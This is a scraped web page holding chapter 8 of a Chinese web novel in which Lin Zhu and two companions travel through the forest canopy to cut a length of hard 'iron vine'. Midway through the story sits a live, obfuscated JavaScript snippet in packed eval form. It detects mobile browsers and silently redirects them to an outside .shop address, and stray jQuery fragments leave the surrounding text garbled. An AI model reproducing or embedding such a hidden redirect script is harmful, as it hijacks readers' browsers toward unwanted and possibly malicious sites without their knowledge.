文趣网 > 其他小说 > 原始异星搞基建 > 8. 第 8 章
    林筑挑了一个休猎日。

    休猎日在中天里是个特殊的日子,一般出现在猎物丰沛、或者猎队受伤的次日。

    这天猎人们都睡到很晚才起来,林筑偷摸出门时只有几只不知名的鸟在树冠层里叫,声音远远空空的,像从另个世界传来。

    木青已经起来了,他坐在自己屋门口,手里拿着一块干肉在嚼,像只呆滞没醒的兔子。看到林筑过来,他嚼吧着问,“走了?”

    “走了。”林筑点头。

    木青带着林筑走到树台尽头,抓住一根从上方垂下来的粗藤,往后退了几步,然后猛地荡了出去。

    “啊——等、等等?!”林筑徒劳的伸了一下手,“我们不是应该从哪里顺着藤梯滑下去吗?”

    林筑眼睁睁看着木青荡过大片空荡荡的树冠间隙,膝盖微弯卸力落在对面的粗枝上,说,“那条路是去猎羽鹿的,从这走才能找到铁藤。”

    林筑站在树台边缘往下看了看,未明的天光下只见大片深色,只有偶尔叶团的轮廓从阴影里浮现出来,对面落脚的粗枝又远又模糊。

    木青憋着嗓子喊,“快过来!”

    她深吸一口气,抓住木青握过的那根藤条,往后退了几步,跳了出去。

    风从耳边刮过去,藤条带着她往前荡,脚下的虚空飞速后退。她看准了对面那根横枝,松手却没落准,脚下一虚整个人就往前扑去,木青赶忙从旁边伸手拉了她一把。

    “好的,那接下来你小心的跟着我。”木青在前面引路,他拨开树叶然后——

    “啊?”木青有些呆呆地凝固了。

    "你们怎么才来?"

    栎疤靠坐在旁边的树干上,他腰间挂着把石斧,斧身比他的手掌还大,刃口磨得发亮。

    “你们太拖延了。”栎疤严厉地说。

    “我……啊?我不是。”木青张口结舌,胡言乱语道,“今天休猎……我们找包果吃!”

    “到木廊找什么包果?”栎疤更加严厉,木青在他面前缩得像个包果。

    林筑脑内风暴的想借口,但还没来得及说出口,栎疤就招了招手,"走吧。"

    他一马当先就往远离树台的方向走去。

    木青看了看林筑,林筑看了看木青。栎疤见他们不跟上,“你们在干什么,不是要去找铁藤?”

    林筑没再犹豫,跟了上去。

    栎疤走的路,走的人再多也不会变成路。他有时候抓住头顶的藤条荡过去,有时候踩着枝丫在树与树之间飞跃。林筑跟着他走的脑门冒汗,身体重心不断变换,四肢并用都稍嫌不够。

    建木人在进化时候怎么没有保留尾巴,太不合理了!

    不到半小时,林筑已经完全失去了方向感,随着海拔降低,周围的景象也彻底变了样。

    栖母树独特的阔叶消失了,这里甚至连绿叶都越发稀疏。林筑认不出大部分的树种,但她能看出来它们全都向着高处那点稀疏的光拼命生长,每一棵都在争夺头顶那细微天光。

    叶片终于完全消失了,栎疤说,“木廊到了。"

    从中天往下看木廊,林筑只觉得那是一片黑乎乎的深渊。现在她终于来到了这个树干和枝杈的世界,它们从深不见底的下方生长上来,有些树干笔直,表皮光滑呈深灰色;有些树干扭曲,布满树瘤和裂纹。

    林筑的第一个反应是不想进去,那种感觉像她有回下到古墓穴考察,空气闷臭,提灯浮影的,每一个感官都在告诉她:这不是你应该待的地方。

    木青走到她旁边,友善的拍拍肩,"头回来木廊都这样。我第一次跟猎队下来时站了好久,栎疤都骂了我一顿。"

    栎疤闻言转过身来,整装以待的叉着手,随时可以骂人的样子。

    我堂堂成年人需要你激将法?

    林筑率先跳了下去,她搭着根藤蔓挂在树上,朝两人歪嘴一笑,“我可不用站那么久。”

    风把木廊上的气味先送到了林筑鼻尖,一股淡淡的、带点甜味的气息,许多她不认识的植物寄生在这些树干上。主要是菌类,白色的、棕色的、半透明的,有的像扇子一层层叠在树干上,有的像小碗倒扣着,边缘还挂着晶莹的黏液。

    “这些有的能吃,有的有毒,你千万小心。”木青说,他朝前方指了指,"铁藤的位置就快到了,我之前在那边看到过好几根。"

    他们拐了个弯,小心的穿越了一层垂挂的细藤,眼前出现了片相对开阔的空间。

    几根深褐色的粗藤从上层藤网中垂下来,直径和她的手腕接近。表面不像普通藤条那样光滑,纵向的纹路密密麻麻地刻在藤条上,它们在昏暗的光线下几乎就像一棵异常细的树。

    "这就是铁藤。"木青兴奋地说,“你快看看,是不是很结实。”

    林筑抓住铁藤,用力按了按,藤身纹丝不动,粗糙的纹路硌着指尖。她掏出石刀试了试,刀刃滑过,在藤皮上留下一道浅痕。

    "这不够硬,这种结实度是撑不住的。"林筑说,或许是她太过期待了。

    "这还不够?这可是最硬的藤了。"木青摸了摸痕迹,“铁藤晒干后还会再硬一点……”

    "你选错了,这几根还没长大。"栎疤蹲在几米外一根横生的粗枝上,呱唧呱唧的磨起自己的石斧,"这是嫩藤,只比普通藤条硬一点。"

    "那长大的在哪?"林筑问。

    栎疤把石斧挂回腰间,起身朝藤网深处走去,"跟我来。"

    栎疤带着他们横向穿行,藤网越来越密,栎疤在前面用石斧砍断了几根挡路的藤蔓,才勉强开出一条路来。

    “到了,铁藤谷。"大概走了两三个小时,栎疤说。

    林筑站在他开辟的入口处,一时没说话。

    说谷其实也不是谷,他们头顶是还是无数交错的枝干,像没有封好的穹顶。藤条在这里不再是附生植物,它们反客为主,像巨大的蟒蛇紧紧勒进树干里。

    “这里的树是铁藤的朋友,铁藤只有缠着它们才能长大。”栎疤用手拍了拍藤身,那声响沉沉的,几乎不像植物。

    林筑摸了摸那根铁藤的表面,粗糙而坚硬,像摸到了根被压实的麻绳。她用石刀划去,这次几乎没有留下什么痕迹。

    "现在的铁藤只比普通藤条硬一点,晒干后石斧都劈不开,而且不能再变软。"栎疤说。

    林筑环顾四周,“确实很硬,我们这次最好选一段带回去,编藤晒先试试看。”

    说干就干,林筑伸手敲了敲铁藤,竟然有闷闷的回声,这个藤条同时拥有极高的硬度和柔软度。遂逐条拍打铁藤,咚咚咚的像在选西瓜。

    栎疤耸耸肩,在旁边坐了下来。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770827|209904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “你怎么知道铁藤谷的?”木青问。

    “迷路。”栎疤平静地说。

    木青:“……”

    “等了一夜也没人来,我还以为自己要死在这了。”

    “那你怎么回去的?”林筑在一边问。

    栎疤没有回答她,而是往上一指。林筑向上看去,在木廊仰望到的中天是张缀满了碎银的深色穹顶,令人目眩神迷、心生向往。

    “你……顺着铁藤爬到了中天?然后盯着栖母树走回了家?”林筑猜测。

    栎疤赞赏的点点头,林筑埋头继续砰砰拍打检查铁藤的品质,她不明白这三分靠拼,七分靠命的故事有什么好得意的。

    半晌后林筑终于确认了目标,在这一带最均匀也最长的铁藤。

    "要多长?”栎疤问。

    林筑估量到,"越长越好,能带回三个你这么高的长度吗?"

    栎疤走到铁藤前抡起石斧砍了下去,斧刃嵌进藤身发出一声沉闷的巨响。在他连砍了好多下后,藤皮才终于裂开一道深口子,露出里面深褐色的纤维层。

    “这条好结实啊。”木青感叹道。

    栎疤咬牙一鼓作气砍断了铁藤,林筑凑上前,断面可以看出纤维异常紧密地压在一起,还带着刚割下来的湿润。如果栎疤没说错,现在就是它最软的时候,趁软整形的窗口期不会太长。

    林筑试图把铁藤从伴生树上掰下来,但长满它全身的细藤依然把藤体牢牢的捆在树上。

    栎疤的头上已出了层细细的汗,"用石刀砍断侧蔓。”

    林筑点点头,栎疤往下滑了几米,在铁藤的另一端又砍了几斧,看得出他有些累了。

    “这样进度太慢了,我们轮流来吧。”林筑提议。

    木青力气不如栎疤,但胜在耐得住性子,一斧一斧不紧不慢地磨。林筑也试了几刀,但铁藤的韧性远超普通木头,斧刃砍进去大半又被纤维层夹住,她只能咬牙切齿的拔。

    “一边去。”栎疤说。

    于是林筑只能老老实实的继续清理细藤,侧蔓割起来也非常费劲。没多久手心已经开始发红了,但她哼都不好意思哼。

    到接近傍晚时,最后几根纤维终于崩开,铁藤往下一坠,木青眼疾手快,一把抓住了它。藤身太重,他被带得往前踉跄了半步才稳住了。

    林筑松了口气,要是这根藤直接从她面前砸进木廊深处,今天就算白干了。

    栎疤走过来,跟木青一起把铁藤顺直了,用细藤条捆了两道扎起来。林筑在旁边看着,目测了一下,大概有七米长,比她整个人长了四五倍。

    "就这一根够吗?"木青问。

    "肯定不够,这根是测试版。"

    “……哦。”

    “就是如果好用的话,我们再来砍更多的铁藤,而且现在我们也没条件搞这么多回去。”林筑解释道。

    “休息。”栎疤说,“然后立刻回栖母树。”

    林筑靠着那捆铁藤,累得不想动。感谢建木人手心现成的老茧,现在她虽然感觉到火辣辣的疼,但检查下来只是表皮轻伤。

    木廊里的光线变弱了,时间走到了傍晚,林筑和木青有一搭没一搭的说了会话,栎疤磨着他的石斧。

    然后有只手从身后按住了她的肩膀。

    "别动。"